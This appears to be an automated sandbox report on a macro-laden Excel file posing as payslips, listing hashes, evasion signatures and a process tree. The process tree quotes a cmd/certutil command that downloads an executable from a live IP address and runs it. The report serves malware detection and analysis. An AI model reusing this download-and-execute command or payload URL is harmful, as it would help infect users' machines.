Analysis
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max time kernel
99s -
max time network
101s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22-01-2025 13:59
Static task
static1
Behavioral task
behavioral1
Sample
Payslips - Week Ending 19 October 2022.xlsm
Resource
win10v2004-20241007-en
General
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Target
Payslips - Week Ending 19 October 2022.xlsm
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Size
42KB
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MD5
4cdbf369aea35107af766f0c4a928dc2
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SHA1
657b4e5c370ace1326b311d251d77bb3dec8a64b
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SHA256
ce4298647b014560cc454b87587301f11ffe7478170e7de2af59705ddf87ecc6
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SHA512
54407c6c226d4eba55a0afea35456224a1a9da8742c668810f0e29b112e4364ca7bff1df22257fcf21a9820a1e6e19104cf330c92e5fa5183c26340a8490c912
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SSDEEP
768:gvDsavqssnHOBIJYfTH+niSpyvDHrdv+nWxFFiKk/f+qtmUEURC+nQHwSrH:gvLvqTHOG1BaTrdv+KFFi3/Gq09UHQHH
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1792 4244 cmd.exe 81 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4244 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE 4244 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4244 wrote to memory of 1792 4244 EXCEL.EXE 83 PID 4244 wrote to memory of 1792 4244 EXCEL.EXE 83 PID 1792 wrote to memory of 3732 1792 cmd.exe 86 PID 1792 wrote to memory of 3732 1792 cmd.exe 86
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payslips - Week Ending 19 October 2022.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Windows\SYSTEM32\cmd.execmd /c certutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe && Zhnyoizqxyxvv.exe.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1792 -
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe3⤵PID:3732
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